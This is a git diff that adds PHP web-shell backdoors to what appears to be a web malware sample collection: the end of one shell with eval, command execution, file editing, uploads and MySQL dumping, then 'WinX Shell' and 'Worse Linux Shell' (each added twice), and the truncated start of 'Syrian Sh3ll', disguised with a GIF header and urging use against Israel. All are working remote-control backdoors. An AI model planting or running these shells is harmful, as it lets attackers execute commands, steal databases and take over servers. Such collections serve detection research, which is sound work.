+$eval_value=magic_q($eval_value); +$action=isset($_POST['action'])?$_POST['action']:'eval'; +if($action=='eval_in_html') @eval($eval_value); +else +{ +echo($head); +?> +<hr> + +<hr> +<? +} +break; +} +case 'cmd': +{ +$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):''; +$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd(); +$action=isset($_POST['action'])?$_POST['action']:'cmd'; +if(@is_dir($work_dir)) +{ +@chdir($work_dir); +$work_dir=getcwd(); +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +} +else if(file_exists($work_dir))$work_dir=realpath($work_dir); +$work_dir=str_replace('\\','/',$work_dir); +$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES); +switch($action) +{ +case 'cmd' : +{ +echo($head); +?> + +<pre> +<? +if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");} +else +{ +$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view'; +if(@is_dir($work_dir)) +{ +echo('<H1>File Manager;</H1><hr>'); +echo('<strong>Listing '.$e_work_dir.'</strong><hr>'); +$handle=@opendir($work_dir); +if($handle) +{ +while(false!==($fn=readdir($handle))){$files[]=$fn;}; +@closedir($handle); +sort($files); +$not_dirs=array(); +for($i=0;$i<sizeof($files);$i++) +{ +$fn=$files[$i]; +if(is_dir($fn)) +{ +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','&quot;',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn) + +>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +else {$not_dirs[]=$fn;} +} +for($i=0;$i<sizeof($not_dirs);$i++) +{ +$fn=$not_dirs[$i]; +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;', + +$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +echo('</pre><hr>'); +?> +<form name='list' method=post> +<input name='work_dir' type=hidden size=120><br> +<input name='page' value='cmd' type=hidden> +<input name='f_action' value='view' type=hidden> +</form> +<? +} else echo('Error Listing '.$e_work_dir); +} +else +switch($f_action) +{ +case 'view': +{ +echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n"); +$f=@fopen($work_dir,'r'); +?> +<form method=post> +<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea> +<input name='page' value='cmd' type=hidden> +<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120> +<input name='f_action' value='save' type=submit> +</form> +<? +break; +} +case 'save' : +{ +$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):''; +$f=@fopen($work_dir,'w'); +if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n"); +else +{ +fwrite($f,$file_text); +fclose($f); +echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n"); +} +break; +} +} +break; +} +break; +} +case 'upload' : +{ +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +$f=$_FILES["filename"]["name"]; +if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); +else +{ +echo('file is uploaded in '.$e_work_dir); +} +break; +} +case 'download' : +{ +$fname=isset($_POST['fname'])?$_POST['fname']:''; +$temp_file=isset($_POST['temp_file'])?'on':'nn'; +$f=@fopen($fname,'r'); +if(!($f)) echo('file is not exists'); +else +{ +$archive=isset($_POST['archive'])?$_POST['archive']:''; +if($archive=='gzip') +{ +Header("Content-Type:application/x-gzip\n"); +$s=gzencode(fread($f,filesize($fname))); +Header('Content-Length: '.strlen($s)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n"); +echo($s); +} +else +{ +Header("Content-Type:application/octet-stream\n"); +Header('Content-Length: '.filesize($fname)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n"); +ob_start(); +while(feof($f)===false) +{ +echo(fread($f,10000)); +ob_flush(); +} +} +} +} +} +break; +} +case 'mysql' : +{ +$action=isset($_POST['action'])?$_POST['action']:'query'; +$user=isset($_POST['user'])?$_POST['user']:''; +$passwd=isset($_POST['passwd'])?$_POST['passwd']:''; +$db=isset($_POST['db'])?$_POST['db']:''; +$host=isset($_POST['host'])?$_POST['host']:'localhost'; +$query=isset($_POST['query'])?magic_q($_POST['query']):''; +switch($action) +{ +case 'dump' : +{ +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false; +$archive=isset($_POST['archive'])?$_POST['archive']:'none'; +if($archive!=='none')$to_file=false; +$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:''; +$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:''; +if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error'); +else +{ +$dump_file="# MySQL Dumper\n#db $db from $host\n"; +ob_start(); +if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false; +if($table_dump=='') +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$result=mysql_query('show tables',$mysql_link); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link); +if(!$result2)$dump_file.='#error table '.$rows[0]; +else +{ +$dump_file.='create table `'.$rows[0]."`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$rows[0].'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +} +} +mysql_free_result($result); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo($dump_file); +} +else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +else +{ +$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link); +if(!$result2)echo('error table '.$table_dump); +else +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +if($to_file===false) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$dump_file.="create table `{$table_dump}`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$table_dump.'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo $dump_file; +}else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +} +} +} +break; +} +case 'query' : +{ +echo($head); +?> +<hr> +<form method=post> +<table> +<td> +<table align=left> +<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' + +type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr> +<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr> +</table> +</td> +<td> +<table> +<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr> +<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<tr><td><input type=submit name='action' value='dump'></td></tr> +<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr> +</table> +</td> +</table> +<input name='page' value='mysql' type=hidden> +<input name='action' value='query' type=submit> +</form> +<hr> +<? +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;} +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$result=@mysql_query($query,$mysql_link); +if(!($result))echo(mysql_error()); +else +{ +echo("<table valign=top align=left>\n<tr>"); +for($i=0;$i<mysql_num_fields($result);$i++) +echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>'); +echo("\n</tr>\n"); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +echo('<tr valign=top align=left>'); +for($j=0;$j<mysql_num_fields($result);$j++) +{ +echo('<td>'.(htmlspecialchars($rows[$j])).'</td>'); +} +echo("</tr>\n"); +} +echo("</table>\n"); +} +mysql_close($mysql_link); +} +break; +} +} +break; +} +} +?> diff --git a/web-malware-collection-master/Backdoors/PHP/WinX Shell.php b/web-malware-collection-master/Backdoors/PHP/WinX Shell.php new file mode 100755 index 0000000..9957c9f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/WinX Shell.php @@ -0,0 +1,103 @@ +<html><head><title>-:[GreenwooD]:- WinX Shell</title></head> +<body bgcolor="#FFFFFF" text="#000000" link="#0066FF" vlink="#0066FF" alink="#0066FF"> +<?php + +// -----:[ Start infomation ]:----- +// It's simple shell for all Win OS. +// Created by greenwood from n57 +// +// ------:[ End infomation]:------- + + +set_magic_quotes_runtime(0); +//*Variables* + +//------------------------------- + +$veros = `ver`; +$host = gethostbyaddr($_SERVER['REMOTE_ADDR']); +$windir = `echo %windir%`; + + +//------------------------------ + if( $cmd == "" ) { + $cmd = 'dir /OG /X'; + } +//------------------------------- + + +//------------------------------ + +print "<table style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; border: 1px #000000 dotted\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" >"; +print "<tr>"; +print "<td><font color=\"#990000\">You:</font></td>" ; +print "<td> ".$_SERVER['REMOTE_ADDR']." [<font color=\"#0033CC\">".$host."</font>] </td>" ; +print "</tr>"; +print "<tr>"; +print "<td><font color=\"red\">Version OS:</font></td>" ; +print "<td><font color=\"#0066CC\"> $veros </font></td>"; +print "</tr>"; +print "<tr>"; +print "<td><font color=\"#990000\">Server:</font></td>"; +print "<td><font color=\"#0066CC\">".$_SERVER['SERVER_SIGNATURE']."</font></td>"; +print "</tr>"; +print "<tr>"; +print "<td><font color=\"#990000\">Win Dir:</font></td>"; +print "<td><font color=\"#0066CC\"> $windir </font></td>"; +print "</tr>"; +print "</table>"; +print "<br>"; + +//------- [netstat -an] and [ipconfig] and [tasklist] ------------ +print "<form name=\"cmd_send\" method=\"post\" action=\"$PHP_SELF\">"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:10%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"cmd\" value=\"netstat -an\">"; +print "&nbsp;&nbsp;&nbsp;"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:10%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"cmd\" value=\"ipconfig\">"; +print "&nbsp;&nbsp;&nbsp;"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:10%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"cmd\" value=\"tasklist\">"; +print "</form>"; +//------------------------------- + + +//------------------------------- + +print "<textarea style=\"width:100%; height:50% ;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" readonly>"; + system($cmd); +print "</textarea>"; +print "<br>"; + +//------------------------------- + +print "<form name=\"cmd_send\" method=\"post\" action=\"$PHP_SELF\">"; +print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">CMD: </font>"; +print "<br>"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:50%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"text\" name=\"cmd\" value=\"$cmd\">"; +print " <input style = \"font-family: Verdana; font-size: 12px; background-color: #FFFFFF; border: #666666; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"_run\" value=\"Run\">"; +print "</form>"; + +//------------------------------- + +print "<form enctype=\"multipart/form-data\" action=\"$PHP_SELF\" method=\"post\">"; +print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">Upload:</font>"; +print "<br>"; +print "<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">"; +print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">File: </font><input style=\"font-family: Verdana; font-size: 9px; background-color: #FFFFFF; border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" name=\"userfile\" type=\"file\">"; +print " <font face=\"Verdana\" size=\"1\" color=\"#990000\">Filename on server: </font> <input style=\"font-family: Verdana; font-size: 9px;background-color: #FFFFFF; border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" name=\"serverfile\" type=\"text\">"; +print" <input style =\"font-family: Verdana; font-size: 9px; background-color: #FFFFFF; border: #666666; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" value=\"Send\">"; +print"</form>"; + +?> + + +<? + +// Script for uploading + if (is_uploaded_file($userfile)) { +move_uploaded_file($userfile, $serverfile); +} + +?> + + +<center><font face="Verdana" size="1" color="#000000">Created by -:[GreenwooD]:- </font></center> +</body></html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/WinX Shell.txt b/web-malware-collection-master/Backdoors/PHP/WinX Shell.txt new file mode 100755 index 0000000..9957c9f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/WinX Shell.txt @@ -0,0 +1,103 @@ +<html><head><title>-:[GreenwooD]:- WinX Shell</title></head> +<body bgcolor="#FFFFFF" text="#000000" link="#0066FF" vlink="#0066FF" alink="#0066FF"> +<?php + +// -----:[ Start infomation ]:----- +// It's simple shell for all Win OS. +// Created by greenwood from n57 +// +// ------:[ End infomation]:------- + + +set_magic_quotes_runtime(0); +//*Variables* + +//------------------------------- + +$veros = `ver`; +$host = gethostbyaddr($_SERVER['REMOTE_ADDR']); +$windir = `echo %windir%`; + + +//------------------------------ + if( $cmd == "" ) { + $cmd = 'dir /OG /X'; + } +//------------------------------- + + +//------------------------------ + +print "<table style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; border: 1px #000000 dotted\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" >"; +print "<tr>"; +print "<td><font color=\"#990000\">You:</font></td>" ; +print "<td> ".$_SERVER['REMOTE_ADDR']." [<font color=\"#0033CC\">".$host."</font>] </td>" ; +print "</tr>"; +print "<tr>"; +print "<td><font color=\"red\">Version OS:</font></td>" ; +print "<td><font color=\"#0066CC\"> $veros </font></td>"; +print "</tr>"; +print "<tr>"; +print "<td><font color=\"#990000\">Server:</font></td>"; +print "<td><font color=\"#0066CC\">".$_SERVER['SERVER_SIGNATURE']."</font></td>"; +print "</tr>"; +print "<tr>"; +print "<td><font color=\"#990000\">Win Dir:</font></td>"; +print "<td><font color=\"#0066CC\"> $windir </font></td>"; +print "</tr>"; +print "</table>"; +print "<br>"; + +//------- [netstat -an] and [ipconfig] and [tasklist] ------------ +print "<form name=\"cmd_send\" method=\"post\" action=\"$PHP_SELF\">"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:10%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"cmd\" value=\"netstat -an\">"; +print "&nbsp;&nbsp;&nbsp;"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:10%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"cmd\" value=\"ipconfig\">"; +print "&nbsp;&nbsp;&nbsp;"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:10%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"cmd\" value=\"tasklist\">"; +print "</form>"; +//------------------------------- + + +//------------------------------- + +print "<textarea style=\"width:100%; height:50% ;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" readonly>"; + system($cmd); +print "</textarea>"; +print "<br>"; + +//------------------------------- + +print "<form name=\"cmd_send\" method=\"post\" action=\"$PHP_SELF\">"; +print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">CMD: </font>"; +print "<br>"; +print "<input style=\"font-family: Verdana; font-size: 12px; width:50%;border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"text\" name=\"cmd\" value=\"$cmd\">"; +print " <input style = \"font-family: Verdana; font-size: 12px; background-color: #FFFFFF; border: #666666; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" name=\"_run\" value=\"Run\">"; +print "</form>"; + +//------------------------------- + +print "<form enctype=\"multipart/form-data\" action=\"$PHP_SELF\" method=\"post\">"; +print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">Upload:</font>"; +print "<br>"; +print "<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">"; +print "<font face=\"Verdana\" size=\"1\" color=\"#990000\">File: </font><input style=\"font-family: Verdana; font-size: 9px; background-color: #FFFFFF; border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" name=\"userfile\" type=\"file\">"; +print " <font face=\"Verdana\" size=\"1\" color=\"#990000\">Filename on server: </font> <input style=\"font-family: Verdana; font-size: 9px;background-color: #FFFFFF; border: #000000; border-style: dotted; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" name=\"serverfile\" type=\"text\">"; +print" <input style =\"font-family: Verdana; font-size: 9px; background-color: #FFFFFF; border: #666666; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px\" type=\"submit\" value=\"Send\">"; +print"</form>"; + +?> + + +<? + +// Script for uploading + if (is_uploaded_file($userfile)) { +move_uploaded_file($userfile, $serverfile); +} + +?> + + +<center><font face="Verdana" size="1" color="#000000">Created by -:[GreenwooD]:- </font></center> +</body></html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Worse Linux Shell.php b/web-malware-collection-master/Backdoors/PHP/Worse Linux Shell.php new file mode 100755 index 0000000..0de1696 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Worse Linux Shell.php @@ -0,0 +1,69 @@ +<?php + +set_magic_quotes_runtime(0); + +print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>"; +print "<center><h1>#worst @dal.net</h1></center>"; +print "<center><h1>You have been hack By Shany with Love To #worst.</h1></center>"; +print "<center><h1>Watch Your system Shany was here.</h1></center>"; +print "<center><h1>Linux Shells</h1></center>"; +print "<hr><hr>"; + +$currentWD = str_replace("\\\\","\\",$_POST['_cwd']); +$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']); + +$UName = `uname -a`; +$SCWD = `pwd`; +$UserID = `id`; + +if( $currentWD == "" ) { + $currentWD = $SCWD; +} + +print "<table>"; +print "<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>"; +print "<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>"; +print "<tr><td><b>System type:</b></td><td>$UName</td></tr>"; +print "<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>"; +print "</table>"; + +print "<hr><hr>"; + +if( $_POST['_act'] == "List files!" ) { + $currentCMD = "ls -la"; +} + +print "<form method=post enctype=\"multipart/form-data\"><table>"; + +print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>"; +print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>"; + +print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>"; +print "<td><input type=submit name=_act value=\"List files!\"></td></tr>"; + +print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>"; +print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>"; + +print "</table></form><hr><hr>"; + +$currentCMD = str_replace("\\\"","\"",$currentCMD); +$currentCMD = str_replace("\\\'","\'",$currentCMD); + +if( $_POST['_act'] == "Upload!" ) { + if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) { + print "<center><b>Error while uploading file!</b></center>"; + } else { + print "<center><pre>"; + system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1"); + print "</pre><b>File uploaded successfully!</b></center>"; + } +} else { + print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n"; + $currentCMD = "cd ".$currentWD.";".$currentCMD; + system($currentCMD); + print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>"; +} + +exit; + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/Worse Linux Shell.txt b/web-malware-collection-master/Backdoors/PHP/Worse Linux Shell.txt new file mode 100755 index 0000000..434721a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Worse Linux Shell.txt @@ -0,0 +1,69 @@ +<?php + +set_magic_quotes_runtime(0); + +print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>"; +print "<center><h1>#worst @dal.net</h1></center>"; +print "<center><h1>You have been hack By Shany with Love To #worst.</h1></center>"; +print "<center><h1>Watch Your system Shany was here.</h1></center>"; +print "<center><h1>Linux Shells</h1></center>"; +print "<hr><hr>"; + +$currentWD = str_replace("\\\\","\\",$_POST['_cwd']); +$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']); + +$UName = `uname -a`; +$SCWD = `pwd`; +$UserID = `id`; + +if( $currentWD == "" ) { + $currentWD = $SCWD; +} + +print "<table>"; +print "<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>"; +print "<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>"; +print "<tr><td><b>System type:</b></td><td>$UName</td></tr>"; +print "<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>"; +print "</table>"; + +print "<hr><hr>"; + +if( $_POST['_act'] == "List files!" ) { + $currentCMD = "ls -la"; +} + +print "<form method=post enctype=\"multipart/form-data\"><table>"; + +print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>"; +print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>"; + +print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>"; +print "<td><input type=submit name=_act value=\"List files!\"></td></tr>"; + +print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>"; +print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>"; + +print "</table></form><hr><hr>"; + +$currentCMD = str_replace("\\\"","\"",$currentCMD); +$currentCMD = str_replace("\\\'","\'",$currentCMD); + +if( $_POST['_act'] == "Upload!" ) { + if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) { + print "<center><b>Error while uploading file!</b></center>"; + } else { + print "<center><pre>"; + system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1"); + print "</pre><b>File uploaded successfully!</b></center>"; + } +} else { + print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n"; + $currentCMD = "cd ".$currentWD.";".$currentCMD; + system($currentCMD); + print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>"; +} + +exit; + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/[ ~~Syrian Sh3ll~~ ] b/web-malware-collection-master/Backdoors/PHP/[ ~~Syrian Sh3ll~~ ] new file mode 100755 index 0000000..a884173 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/[ ~~Syrian Sh3ll~~ ] @@ -0,0 +1,1375 @@ +G�F89;a<?php +# ____ _ _ __ _ _ _ _ _ __ _ _ _ +# /_ _ _|\ \ / /| |____ \| | / \ | |\ \ || +# (_ _ \ \/ / | |____||| | / /\ \ | | \ \ || +# \_ _ \ \ | | |____/ | | / /--\ \ | | \ \|| +# __ _) | | | | | \ \ | | / /----\ \ | | \ \| +#|_ _ _/ |__| |_| \_\|_|/_/ \_\|_| \_| +# _ _ _ _ _ _ +# /_ _ _| | | | | [ ~~Syrian Sh3ll~~ ] is a php evil script , please use it against ISRAEL Only . +# (___ | |__ ___| | | Coded By : EH << SyRiAn | 34G13 <~> sy34[at]msn[dot]com +# \___ \| _ \ / _ \ | | Note : I'm Proud to be ~~SyRiAn~~ +# __ _)|| | | || __/ | | Copyright (C) 2010 - ~~ syrian-shell.com ~~ +#|_ _ _/|_| |_|\___|_|_| Thanx : [ Allah ] [ HaniWT ] [ SyRiAn_SnIpEr ] [ SyRiAn_SpIdEr ] [ TNT Hacker ] . +# + + +$iOll100oil0ioIlo = 1; +$user = 'root'; +$pass = 'toor'; +$iIi1i11l11OoIlIl = '#990000'; + if($_GET['id']== 'logout') {Logout();} if(!($_GET['id'] == 'sshSession')) {echo 